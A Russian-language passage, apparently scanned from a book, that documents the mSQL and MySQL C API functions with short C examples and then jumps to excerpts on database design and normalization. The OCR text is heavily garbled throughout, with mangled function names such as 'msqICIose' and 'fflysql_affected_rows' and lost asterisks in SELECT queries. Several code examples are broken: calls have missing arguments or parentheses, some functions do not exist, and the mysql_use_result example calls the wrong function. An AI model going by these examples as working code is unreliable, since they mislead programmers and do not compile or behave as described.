    int msqlNumFields ( m_result* result )

    Возвращает число полей в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    fields = msqlNumFields(results);

    msqICIose

    int msqICIose ( int sock )

    Закрывает подключение к серверу баз данных mSQL.

    Пример

    dbh = msqlConnect( (char')NULL );

    /* Do work */

    msqlClose(dbh);

    msqIListDBs

    m_result *msqlListDBs ( int sock )

    Возвращает структуру m_result, содержащую имена всех баз данных, доступных на сервере баз данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    databases = msqlListDBs(dbh);

    /* 'databases' содержит теперь имена всех баз данных на сервере*/

    msqIListTables

    m_result *msqIListTables ( int sock )

    Возвращает структуру m_result, содержащую имена всех таблиц текущей базы данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    tables = msqlListTables(dbh);

    /* 'tables' содержит теперь имена всех таблиц текущей базы данных*/

    msqIListFields

    m_result 'msqIListFields ( int sock , char*tableName )

    Возвращает структуру m_result, содержащую имена всех полей в указанной таблице. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    fields = msqlListFields(dbh, "people");

    /* 'fields' содержит теперь имена всех полей

    в таблице'people' */

    msqIListlndex

    m_result 'msqIListlndex ( int sock , char*tableName , char*index )

    Возвращает структуру m_result, содержащую информацию о заданном индексе. Возвращаемый набор данных будет содержать тип индекса (в настоящее время поддерживается только тип 'avl') и содержащиеся в индексе имена полей. Как и все структуры m_result, значение, возвра щаемое этой функцией, должно быть освобождено с помощью msqlFreеResult после завершения работы с ним.

    Пример

    index = msqll_istIndex(dbh, "people", "idx1");

    /* Теперь'index' содержит информацию об индексе 'idx1' в таблице 'people' */

    MySQL С API

    MySQL С API кроме стандартных типов данных языка С использует некоторые свои типы данных. Они определены в заголовочном файле 'mysql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку MySQL.

    Типы данных

    MYSQL

    Структура, представляющая соединение с сервером баз данных. Элементы структуры среди прочего содержат имя текущей базы данных и информацию о клиентском подключении.

    MYSQL_FIELD

    Структура, которая содержит всю информацию, касающуюся отдельного поля таблицы. Из всех типов, созданных для MySQL, это единственная структура, к полям которой можно получить прямой доступ из клиентских программ. Поэтому необходимо знать строение этой структуры:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей это поле. Для результирующих наборов, которые не представляют реальных таблиц, это значение пустое.

    char *def

    Значение по умолчанию этого поля, если таковое существует. Это значение всегда будет null до вызова mysql_list_f ields, после чего в переменной будет корректное значение для полей, у которых есть значение по умолчанию.

    еnum enum_field_types type

    Тип поля. Он является одним из типов данных MySQL SQL.
    unsigned int length

    Размер поля, основанный на типе поля.
    unsigned int max_length

    После вызова mysql_list_fields здесь находится длина максимального значения, содержащегося в текущем результирующем наборе.

    unsigned int flags

    Ноль или более флагов. В настоящее время определены следующие флаги:

    NOT_NULL_FLAG

    Если установлен, поле не может содержать значение
    NULL. PRI_KEY_FLAG

    Если установлен, поле является первичным ключом.

    UNIQUE_KEY_FLAG

    Если установлен, поле является частью уникального ключа.

    MULTIPLE_KEY_FLAG

    Если установлен, поле является частью ключа.

    BLOB_FLAG

    Если установлен, поле имеет тип BLOB или TEXT.

    UNSIGNED_FLAG

    Если установлен, поле имеет числовой тип и содержит беззнаковое значение.

    ZEROFILL_FLAG

    Если установлен, поле было создано с флагом ZEROFILL.

    BINARY_FLAG


    Если установлен, поле имеет тип CHAR или VARCHAR с флагом BINARY.

    ENUM_FLAG

    Если установлен, поле имеет тип ENUM.

    AUTO_INCREMENT_FLAG

    Если установлен, поле имеет атрибут AUTO_INCREMENT.

    TIMESTAMP_FLAG

    Если установлен, поле имеет тип TIMESTAMP.

    unsigned int decimals

    При использовании с числовым полем выдает длину дробной части.

    Для облегчения использования данных MYSQL_FIELD созданы следующие макросы:

    IS_PRI_KEY( flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле имеет ограничение NOT NULL.

    IS_ELOE(flags)

    Возвращает true, если поле имеет тип BLOB или TEXT.

    IS_NUM(type)

    Возвращает true, если тип поля является числовым.

    MYSQL_FIELD_OFFSET

    Числовой тип, указывающий на позицию "курсора" в строке (записи).

    MYSQL_RES

    Структура, содержащая результат команды SELECT (или SHOW). Доступ к данным из запросов следует осуществлять через элемент этой структуры MYSQL_ROW.

    MYSQL_ROW

    Одна запись из данных, возвращаемых запросом SELECT. Все результаты, полученные от MySQL, хранятся в этом типе (как массив символьных строк).

    my_ulonglong

    Числовой тип, используемый для кодов возврата MySQL. Значение может находиться в диапазоне от 0 до 1.8Е19, и —1 используется для указания на ошибку.

    my sql_affected_ro ws

    my_ulonglong mysql_affected_rows(MYSQL*mysql)

    Возвращает число записей, измененных последним запросом. При использовании с запросом SELECT эта функция идентична mysql_num_rows (вернет число записей в результирующем наборе). С остальными запросами функция может быть использована после вызова mysql_query, которая послала запрос.

    Пример

    /* Вставить запись в таблицу 'people' */

    mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin',

    16)";

    num = fflysql_affected_rows(&mysql);

    /* Если операция INSERT удалась, переменная num должна быть равна 1, и -1, если произошла ошибка */

    mysql_close

    void mysql_close(MYSQL*mysql)

    Завершает соединение с сервером баз данных MySQL. Если при разрыве соединения возникли проблемы, сообщение об ошибке можно посмотреть, используя функцию mysql_err.


    Пример

    mysql_close(&mysql);

    /* Теперь подключение должно быть завершено */

    mysql_connect

    MYSQL *mysql_connect(MYSQL*mysql, const char*host, const char*user, const char *passwd)

    Создает подключение к серверу баз данных MySQL. Первым параметром должна быть предварительно объявленная структура MYSQL. Второй параметр - это имя хоста или IP-адрес сервера MySQL. Если хост задан пустой строкой или как localhost, будет выполнено подключение к серверу MySQL на той же машине. Последние два параметра -это используемые для подключения имя пользователя и пароль. Пароль вводится открытым текстом и не шифруется. Функция возвращает структуру MYSQL, переданную первым аргументом, либо NULL, если соединение не было установлено. (Так как структура содержится в аргументе, единственное применение возвращаемого значения - это проверка успешности подключения.)

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL, вместо нее следует пользоваться функцией mysql_real_connect.

    Пример

    /* Создать подключение к локальному серверу MySQL, используя имя "bob" и

    пароль "mypass" */ MYSQL mysql;

    if(!mysql_connect(&mysql, "", "bob", "mypass")) {

    printf("Oшибкa при подключении!\n");

    exit(0); }

    /* Если мы дошли сюда, значит, успешно подключились к серверу баз данных*/

    mysql_create_db

    int mysql_create_db(MYSQL*mysql, const char*db)

    Создает полностью новую базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL CREATE DATABASE. Следует использовать его с помощью функции mysql_query.

    Пример

    /* Создать новую базу данных 'new_database' */

    result = mysql_create_db(&mysql, "new_database");

    mysql_data_seek

    void mysql_data_seek(MYSQL_RES*res, unsigned int offset)

    Передвигает курсор на определенную запись в наборе записей. Первый аргумент является структурой MYSQL_RES, которая содержит записи. Второй аргумент указывает на номер записи, которую вы хотите найти. Номер первой записи - 0. Эта функция работает, только если данные были выбраны с помощью mysql_store_ result.


    Пример

    /* Перейти к последней записи в результате */

    mysql_data_seek(results, mysql_num_rows(results)-1);

    mysql_debug

    mysql_debug(char *debug)

    Управляет отладочными функциями, если при компиляции клиента была разрешена отладка. MySQL использует отладочную библиотеку Fred Fish, которая имеет слишком много параметров и особенностей, чтобы быть описанной в этой книге.

    Пример

    /* Это обычное использование отладочной библиотеки. Информация о деятельности

    клиентских программ записывается в файл "debug.out"*/

    mysql_debug("d:t:0, debug. out");

    mysql_drop_db

    int mysql_drop_clb(MYSQL*mysql, const char*db)

    Уничтожает базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL DROP DATABASE. Его следует использовать через mysql_query вместо функции mysql_drop_db.

    Пример

    /* Уничтожить базу данных 'old_database' */

    result = mysql_drop_db(&mysql, "old_database");

    mysql_dump_debug_info

    int mysql_dump_debug_info(MYSQL*mysql)

    Эта функция заставляет сервер баз данных записывать отладочную информацию о текущем подключении в свои журнальные файлы. Для использования этой функции у вас должно быть право Process для текущего подключения. Функция вернет ноль в случае успешного выполнения операции и ненулевое значение в случае ошибки.

    Пример

    result = mysql_dump_debug_info(&mysql);

    /* Теперь журналы сервера должны содержать информацию о текущем

    подключении */

    mysql_eof

    my_bool mysql_eof(MYSQL_RES* result)

    Возвращает ненулевое значение, если больше нет данных в проверяемом наборе записей. При обнаружении ошибки в результирующем наборе возвращается ноль. Эта функция работает, только если результирующий набор был получен функцией mysql_use_result.

    Пример

    /* Прочитать до конца набор записей */

    while((row = mysql_fetch_row( results.))) {

    /'Обработка 7 }


    if(!mysql_eof(results))

    {

    printf("Ошибка. Конец результата не достигнут.\n");

    mysql_errno

    unsigned int mysql_errno(MYSQL*mysql)

    Возвращает номер последней ошибки, связанной с текущим подключением. Если подключение прошло без ошибок, функция возвращает ноль.

    Пример

    error = mysql_errno(&mysql);

    printf("HoMep последней ошибки: %d\n", error);

    mysql_error

    char *mysql_error(MYSQL*mysql)

    Возвращает сообщение о последней ошибке, связанной с текущим подключением. Если при подключении не было ошибок, функция возвращает пустую строку.

    Пример

    printf("Последняя ошибка была: '%s'\n", mysql_error(&mysql));

    mysq l_esca pe_strin g

    unsigned int mysql_escape_string(char*to, const char "from, unsigned int

    length)

    unsigned int mysql_escape_string(char*to, const char *from)

    Кодирует строку таким образом, что ее можно безопасно вставить в таблицу MySQL. Первый аргумент - это получающая строка, которая должна быть по крайней мере на один символ больше двойной длины исходной строки, задаваемой вторым аргументом (то есть to >= from*2+l). Если есть третий аргумент, он указывает количество байт, копируемое из исходной строки перед кодированием. Функция возвращает число байт в кодированной строке, исключая цустой символ в конце строки.

    Пример

    char name[15] = "Bob Marley's";

    char enc_name[31];

    mysql_escape_string(enc_name, name);

    /* enc_name теперь будет содержать "Bob Marley\'s" (единичная кавычка

    закодирована).

    mysql_fetch_field

    MYSQL_FIELD*mysql_fetch_field(MYSQL_RES* result)

    Возвращает структуру MYSQL_FIELD, описывающую доле заданного результирующего набора. Дальнейшие вызовы этой функции вернут информацию о каждом следующем поле, пока поля не закончатся, и тогда будет возвращено нулевое значение.

    Пример

    MYSQL_FIELD*field;

    while((field = mysql_fetch_field(results)))

    {

    /* Здесь вы можете проверить информацию о поле */

    }

    mysql_fetch_field_direct

    MYSQL_FIELD * mysql_fetch_field_direct(MYSOL_RES * result, unsigned int fieldnr)


    Эта функция идентична mysql_fetch_field за исключением того, что вместо цикла по полям вы указываете, какое поле проверить. Номер первого поля в наборе - 0.

    Пример

    MYSQL_FIELD *field;

    /* Получить информацию о третьем поле в наборе записей */

    field = mysql_fetch_field_direct(results, 2);

    mysql_fetch_fields

    MYSQL_FIELD *mysql_fetch_fields(MYSQL_RES* result)

    Функция идентична mysql_fetch_field за исключением того, что она возвращает массив структур MYSQL_FIELD, содержащих информацию о каждом поле в результирующем наборе.

    Пример

    MYSQL_FIELD 'field; MYSQL_FIELD 'fields;

    /* Получить всю информацию о полях в наборе записей */

    fields = mysql_fetch_fields(results);

    /* Приписать третье поле переменной 'field' */

    field = fields[2];

    mysql_fetch_lengths

    unsigned long *mysql_fetch_lengths(MYSQL_RES*result)

    Возвращает массив длин каждого поля в текущей записи. В случае ошибки функция возвращает нулевое значение. Вы должны выбрать хотя бы одну запись (используя mysql_fetch_row) перед вызовом этой функции. Эта функция является единственным способом выяснить длину полей переменной длины, таких как BLOB и VARCHAR, перед использованием данных.

    Пример

    unsigned long *lengths;

    row = mysql_fetch_row(results);

    lengths = mysql_fetch_lengths(results);

    printf("Tpetbe поле имеет длину %d байт\n", lengths[2]);

    mysql_fetch_row

    MYSQL_ROW mysql_fetch_row(MYSQL_RESresult)

    Выбирает следующую запись в наборе и возвращает ее как структуру MYSQL__ROW. Если записей больше нет или в случае ошибки, возвращается нулевое значение. В текущей реализации структура MY.SQI _ROW - это массив символьных строк, который может представлять любые данные.

    Пример

    MYSQL_ROW row;

    row = mysql_fetch_row(results);

    printf("Данные в третьем поле этой записи: %s\n", row[2]);

    mysql_field_seek

    MYSQL_FIELD_OFFSET mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset)

    Ищет указанное поле в текущей записи результирующего набора. Позиция, установленная этой функцией, используется при вызове mysql_fetch_field. Переданное значение MYSQL_FIELD_OFFSET должно быть значением, возвращаемым функцией mysql_field_tell (или другим вызовом mysql_f ield_seek). Если это значение равно 0, поиск будет осуществляться с начала записи. Функция возвращает позицию курсора перед вызовом функции.


    Пример

    MYSQL_FIELD field;

    /* Перейти к началу записи */

    old_pos = mysql_field_seek(results, 0);

    /* Выбрать первое поле записи */

    field = mysql_field_field(results);

    /* Вернуться к исходному состоянию */

    mysql_field_seek(results, old_pos);

    mysql_field_tell

    MYSQL_FIELD_OFFSET mysql_field_tell(MYSQL_RESresult)

    Возвращает значение текущей позиции поля в текущей записи результирующего набора. Это значение используется с mysql_f ield_seek.

    Пример

    MYSQL_FIELD fieldl, field2, fieldS;

    /* Запомнить текущую позицию */

    old_pos = mysql_field_tell(results);

    /* Выбрать еще три поля */

    field1 = mysqLfield_field(results);

    field2 = mysql_field_field(results);

    field3 = mysql_field_field(results);

    /* Вернуться к исходной позиции */

    mysql_field_seek(results, old_pos);

    mysql_free_result

    void mysql_free_result(MYSQL_RESresult)

    Освобождает память, связанную со структурой MYSQL_RES. Эту операцию следует всегда выполнять при завершении использования структуры этого типа или при других проблемах с памятью.

    Пример

    MYSQL_RES "results;

    /* Выполнить операции с результатами */

    mysql_free_result(results);

    mysql_get_client_info

    char *mysql_get_client_info(void)

    Возвращает строку с версией библиотеки MySQL, используемой клиентской программой.

    Пример

    printf("Этa программа использует клиентскую библиотеку MySQL версии %s\n",

    mysql_get_client_info()));

    mysql_get_host_jnfo

    char *mysql_get_host_info(MYSQL*mysql)

    Возвращает строку, содержащую имя хоста сервера баз данных MySQL и тип используемого подключения (например, Unix-сокет или TGP).

    Пример

    print("Информация о подключении: %s", mysql_get_host_info(&mysql));

    mysq l_get_proto_i nf о

    unsigned int mysql_get_proto_info(MYSQtmysql)

    Возвращает в виде целого числа версию протокола MySQL, используемого в текущем подключении.

    Пример

    printf("Этo подключение использует протокол соединений MySQL версии %d\n",

    mysql_get_proto_info());

    mysql_get_server_info


    char *mysql_get_server_info(MYSQL*mysql)

    Возвращает строку, содержащую номер версии сервера баз данных MySQL, используемого в текущем подключении.

    Пример

    printf("Bы подключены к серверу MySQL версии %s\n", mysql_get__server_info(&mysql);

    mysqljnfo

    char *mysql_info(MYSQL*mysql)

    Возвращает строку, содержащую информацию о последнем запросе, если этот запрос был одним из указанных ниже. В настоящее время дополнительную информацию через эту функцию выдают следующие SQL-запросы: INSERT INTO (при использовании с оператором SELECT); LOAD DATA INFILE; ALTER TABLE; INSERT INTO TABLE (при использовании с множеством записей). Если последний запрос не имел дополнительной информации (например, это был один из других запросов), функция возвращает нулевое значение.

    Пример

    /* Только что был послан запрос LOAD DATA INFILE, загрузивший набор записей из файла

    в существующую таблицу */ printf("Результат загрузки данных: %s\n", mysql_info(&mysql));

    mysql_init

    MYSQL *mysql_init(MYSQL*mysql)

    Инициализирует структуру MYSQL, используемую для создания подключения к серверу баз данных MySQL. Наряду с mysql_real_connect, это является способом инициализации подключения к серверу. Вы передаете этой функции объявленную структуру MYSQL либо пустой указатель, в случае чего структура MYSQL будет создана и возвращена. Созданные этой функцией структуры корректно освобождаются функцией mysql_close. Если для инициализации структуры не хватило памяти, возвращается нулевое значение.

    Пример

    MYSQL mysql;

    if (!mysql_init(&mysql)) {

    printf("Ошибка инициализации клиента MySQL\n");

    exit(1); }

    mysqljnsertjd

    my_ulonglong mysql_insert_id(MYSQL*mysql)

    Вернет последнее число, сгенерированное для поля AUTO_INCREMENT. Данная функция обычно используется сразу после ввода значения в поле AUTO_INCREMENT, чтобы выяснить значение, которое было введено.

    Пример

    /* Мы только что ввели запись о сотруднике с автоматически генерируемым ID в

    таблицу */


    id = mysql_insert_id(&mysql);

    printf(''Новый сотрудник получил ID %d\n", id);

    mysql_kill

    int mysql_kill(MYSQL*mysql, unsigned long pid)

    Пытается завершить поток сервера MySQL с указанным ID процесса (PID). Эта функция возвращает ноль в случае успешного выполнения операции и ненулевое значение в случае неудачи. Чтобы воспользоваться этой функцией, вы должны иметь право Process для текущего подключения.

    Пример

    /* Завершить поток с номером 4 */

    result = mysql_kill(&mysql, 4);

    mysql_list_dbs

    MYSQL_RES*mysql_list_dbs(MYSQL*mysql, const char*wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих баз данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будут возвращены имена всех баз данных. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES databases;

    databases = mysql_list_dbs(&mysql, (char*)MULL);

    /* 'databases' теперь содержит имена всех баз данных на сервере MySQL */

    mysql_list_fields

    MYSQL_RES *mysql_list_fields(MYSQL*mysql, const char*table, const char *wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих полей в указанной таблице, которые удовлетворяют выражению, переданному третьим аргументом. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будет возвращен список имен всех полей. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_free_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES fields;

    fields = mysql_list_fields(&mysql, "people", "address%");

    /* 'fields' теперь содержит имена всех полей в таблице 'people', начинающихся с 'address' */

    mysql_list_processes


    MYSQL_RES*mysql_list_processes(MYSQL*mysql)

    Возвращает структуру MYSQL_RES, содержащую информацию о всех текущих потоках, запущенных на сервере баз данных MySQL. Эта информация может быть использована с mysql_kill для завершения потоков, вызывающих ошибки. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES threads;

    threads = mysql_list_processes(&mysql);

    mysql_list_tables

    MYSQL_RES*mysql_list_tables(MYSQL*mysql, const char*wild)

    Возвращает-структуру MYSQL_RES, содержащую имена всех существующих таблиц в текущей базе данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель вместо выражения, будет возвращен список имен всех таблиц. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES tables;

    tables = mysql_list_tables(&mysql, "p%");

    /* 'tables' теперь содержит имена всех таблиц в текущей базе данных, начинающиеся с 'р' */

    mysql_num_fields

    unsigned int mysql_num_fields(MYSQL_RESresult)

    Возвращает число полей, содержащееся в каждой записи указанного результирующего набора.

    Пример

    num_fields = mysql_num_fields(results);

    printf("There are %d fields in each row\n", num_fields);

    mysql_num_rows

    int mysqi_num_rows(MYSQL_RESresult)

    Эта функция вернет количество записей в возвращаемом наборе записей. Работает корректно, только если набор был получен функцией mysql_store_result. Если была использована функция mysql_use_result, значением, возвращаемым функцией mysql_num_rows, будет количество записей, к которым уже был осуществлен доступ.

    Пример

    num_rows = mysql_num_rows(results);

    printf("Было возвращено %d записей \n", num_rows);


    mysql_ping

    int mysql_ping(MYSQL*mysql)

    Проверяет статус подключения к серверу MySQL. Если подключение не активно, клиент попытается автоматически восстановить его. Эта функция возвращает ноль, если подключение активно, и ненулевое значение в случае ошибки.

    Пример

    while(mysql_ping(&mysql))

    printf("Ошибка, попытка повторного подключения...\n");

    mysql_query

    int mysql_query(MYSQL*mysql, const char"query)

    Выполняет SQL-запрос, заданный вторым аргументом. Если запрос содержит любые двоичные данные (особенно пустой символ (null)), эту функцию использовать невозможно, и следует пользоваться функцией mysql_real_query. Функция возвращает ноль, если запрос был выполнен успешно, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_query(&mysql, "SELECT FROM people WHERE name like

    'Bill%'");

    if (error) {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_real_connect

    MYSQL *mysql_real_connect(MYSQL*mysql, const char*host, const char *user,

    const char *passwd, const char*db, uint port, const char*unix_socket, uint client_flag)

    Создает соединение с сервером баз данных MySQL. У этой функции есть восемь аргументов:

  • Инициализированная структура MYSQL, созданная с помощью mysql_init.

  • Имя хоста или IP-адрес сервера баз данных MySQL (для локального подключения к серверу MySQL через сокет Unix можно использовать пустую строку или localhost).

  • Имя пользователя, используемое при подключении к серверу баз данных (пустой строкой можно указать на использование логина пользователя, запустившего клиента).

  • Пароль, используемый для идентификации указанного пользователя. Если используется пустая строка, будет производиться аутентификация только пользователей без пароля.

  • Начальная база данных, используемая при подключении (чтобы не выбирать при подключении начальную базу данных, можно передать пустую строку).

  • Порт, используемый для удаленного подключения к серверу баз данных MySQL по протоколу TCP (чтобы принять порт по умолчанию, можно передать 0).


  • Имя сокета Unix для подключения к серверу на локальном компьютере (чтобы принять сокет по умолчанию, можно использовать пустую строку).

  • Ноль или более из набора флагов, используемых при особых обстоятельствах:

    CLIENT_FOUND_ROWS

    При использовании запросов, изменяющих данные, возвращать не число измененных записей, а число записей, найденных в таблице.

    CLIENT_NO_SCHEMA

    Запретить клиенту использование полной формы указания на столбец базы данных database, table.column , чтобы скрыть структуру базы данных.

    CLIENT_COMPRESS

    Использовать сжатие при соединении с сервером.

    CLIENT_ODBC

    Указать серверу, что клиент является подключением ODBC.

    Пример

    /* Подключиться к серверу на локальном хосте, используя стандартные

    параметры. */

    if (! mysql_real_connect(&mysql, "localhost", "bob", "mypass", "", 0, 0))

    {

    print "Ошибка подключения!\n";

    exit(1); }

    mysql_real_query

    int mysql_real_query(MYSQL*mysql, const char*query, unsigned int length)

    Выполняет SQL-запрос, заданный вторым аргументом. В третьем аргументе должна быть указана длина запроса. Указав длину, вы можете использовать в запросе двоичные данные, включая пустые (null) символы. Эта функция действует быстрее, чем mysql_query. Функция возвращает ноль, если запрос был успешно выполнен, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_real_query(&ntysql, "SELECT FROM people WHERE name like Bill%'",

    44);

    if (error)

    {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_reload

    int mysql_reload(MYSQL*mysql)

    Перегружает таблицу привилегий на сервере баз данных MySQL. Для использования этой функции вы должны иметь право Reload для текущего подключения. Функция возвращает ноль, если операцию удалось выполнить, иначе возвращается ненулевое значение.

    Пример

    result = mysql_reload(&mysql);

    mysql_row_tell

    unsigned int mysql_row_tell(MYSQL_RESresult)

    Возвращает значение курсора, используемого функцией mysql_fetch_row при чтении записей из результирующего набора. Возвращаемое этой функцией значение может быть использовано с mysql_row_seek для перехода к определенной записи в наборе.


    Пример

    saved_pos = mysql_row_tell(results);

    /* Теперь в любой момент я могу вернуться к этой записи */

    mysql_select_db

    int mysql_select_db(MYSQL*mysql, const char*db)

    Изменяет текущую базу данных. Пользователь должен иметь права доступа к новой базе данных. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_select_db(&mysql, "newdb");

    mysql_shutdown

    int mysql_shutdown(MYSQL*mysql)

    Выключает сервер баз данных MySQL. Для использования этой функции пользователь должен иметь право Shutdown для текущего подключения. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_shutdown(&mysql);

    mysql_stat

    char *mysql_stat(MYSQL*mysql)

    Возвращает информацию о текущем статусе сервера баз данных. Среди прочей информации содержатся данные о времени работы, количестве запущенных потоков и количестве обрабатываемых запросов.

    Пример

    printf("Информация о сервере \n-------\n%s\n", mysql_stat(&mysql));

    mysql_store_result

    MYSQL_RES *mysql_store_result(MYSQL*mysql)

    Читает весь результат запроса и сохраняет его в структуре MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться либо эта функция, либо mysql_use_result. Вы должны вызвать mysql_f ree_result для освобождения структуры MYSQL_RES после завершения работы с ней. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь содержит всю информацию из таблицы'people*/

    mysql_thread_id

    unsigned long mysql_thread_id(MYSQL* mysql)

    Возвращает ID потока текущего подключения. Это значение может использовать mysql_kill для завершения подключения в случае ошибки.

    Пример

    thread_ld = mysql_thread_id(&mysql);

    mysql_use_result

    MYSQL_RES*mysql_use_result(MYSQL*mysql)


    Читает результат запроса построчно и позволяет получить доступ к данным через структуру MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться или эта функция, или mysql_store_result. Так как эта функция не читает весь набор данных за один раз, она более быстрая, чем mysql_store_result, и более эффективно использует память. Однако при использовании этой функции вы должны прочесть все записи из набора данных, иначе следующий запрос получит оставшиеся данные. Также вы не сможете выполнять другие запросы до окончания работы с данными из этого запроса. После завершения работы с ними следует вызвать mysql_f ree_result для освобождения структуры MYSQL_RES. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь позволяет получить доступ к данным таблицы (используя mysql_fetch_row), по одной записи за раз*/



    Проектирование баз данных

    После установки на компьютере СУБД у вас может возникнуть сильный соблазн сразу начать создание базы данных, не задумываясь о планировании. Как и в других случаях разработки программного обеспечения, такой подход оправдан лишь при решении простейших задач. Если вы рассчитываете, что ваша база данных должна будет поддерживать хоть какую-то степень сложности, немного планирования и проектирования, в конечном итоге, несомненно сбережет ваше время.



    Методология логического моделирования данных

    Теперь у нас есть завершенная логическая модель данных. Вспомним, какие шаги нужно осуществить, чтобы получить ее:

  • Выявить и смоделировать сущности.

  • Выявить и смоделировать связи между сущностями.

  • Выявить и смоделировать атрибуты.

  • Указать уникальный идентификатор для каждой сущности.

  • Провести нормализацию.

    На практике процесс редко происходит в такой последовательности. Как показывает наш пример, часто возникают желание и необходимость перескакивать между сущностями, связями, атрибутами и идентификаторами. Важно не столько строго следовать последовательности шагов, сколько выявить и зафиксировать все данные, необходимые для правильного моделирования системы.

    Модель данных, которую мы создали в этой главе, очень проста. Мы рассказали, как создать модель, соответствующую по типу и сложности тем базам данных, с которыми вы, скорее всего, столкнетесь, разрабатывая базы данных для MySQL или mSQL. Мы не коснулись целой массы приемов проектирования и понятий, которые не имеют большого значения при проектировании маленьких баз данных и могут быть найдены в любом учебнике, посвященном проектированию баз данных.



    Нормализация

    Е. Ф. Кодд (Е. F. Codd), занимавшийся исследовательской работой в IBM, впервые представил концепцию нормализации в нескольких важных статьях, написанных в 1970-е годы. Задача нормализации остается той же самой и сегодня: устранить из базы данных некоторые нежелательные характеристики. В частности ставится задача устранить некоторые виды избыточности данных и благодаря этому избежать аномалий при изменении данных. Аномалии изменения данных - это сложности при операциях вставки, изменения и удаления данных, возникающие из-за структуры базы данных. Дополнительным результатом нормализации является конструкция, хорошо соответствующая реальному миру. Поэтому в результате нормализации модель данных становится более ясной.

    Например, предположим, что мы ошиблись при вводе "Herbie Hancock" в нашу базу данных и хотим исправить ошибку. Нам потребовалось бы рассмотреть все диски этого исполнителя и исправить имя. Если изменения производятся с помощью приложения, позволяющего одновременно редактировать только одну запись, нам придется редактировать много строк. Было бы гораздо лучше запомнить имя "Herbie Hancock" лишь один раз и редактировать его в одном месте.

    Первая нормальная форма (1NF)

    Общее понятие нормализации подразделяется на несколько "нормальных форм". Говорят, что сущность находится в первой нормальной форме, когда все ее атрибуты имеют единственное значение. Чтобы признать сущность находящейся в первой нормальной форме, нужно удостовериться в том, что каждый атрибут сущности имеет единственное значение для каждого экземпляра сущности. Если в каком-либо атрибуте есть повторяющиеся значения, сущность не находится в 1NF.

    Вернувшись к нашей базе данных, мы обнаруживаем, что повторяющиеся значения есть в атрибуте Song (песня), поэтому очевидно, что база не находится в 1NF. Сущность с повторяющимися значениями указывает на то, что мы упустили еще по крайней мере одну сущность. Обнаружить другие сущности можно, взглянув на каждый атрибут и задавшись вопросом "что описывает эта вещь?"


    Что описывает атрибут Song? Он перечисляет все песни на CD. Поэтому Song - это еще один объект, о котором мы собираем данные, и, возможно, он является сущностью. Мы добавим его в свою диаграмму и придадим атрибут Song Name (название песни). Чтобы покончить с сущностью Song, спросим себя, чем еще мы хотели бы ее охарактеризовать. Мы отметили ранее, что длительность песни мы также хотели бы сохранить. Новая модель данных показана на рис. 2-3.

    Нормализация

    Рис. 2-3. Модель данных с сущностями CD и Song

    Теперь, когда Song Name и Song Length являются атрибутами сущности Song, мы имеем модель данных с двумя сущностями в 1NF. К сожалению, мы не указали никакого способа связать вместе CD и Song.

    Уникальный идентификатор

    Прежде чем обсуждать связи, мы должны применить к сущностям еще одно правило. У каждой сущности должен быть однозначный идентификатор, который мы будем называть ID. ID есть атрибут сущности, к которому применимы следующие правила:

  • Он уникален для каждого экземпляра сущности.

  • Для каждого экземпляра сущности он имеет значение, отличное от NULL в течение всего срока существования экземпляра.

  • В течение всего времени существования экземпляра его значение не меняется.

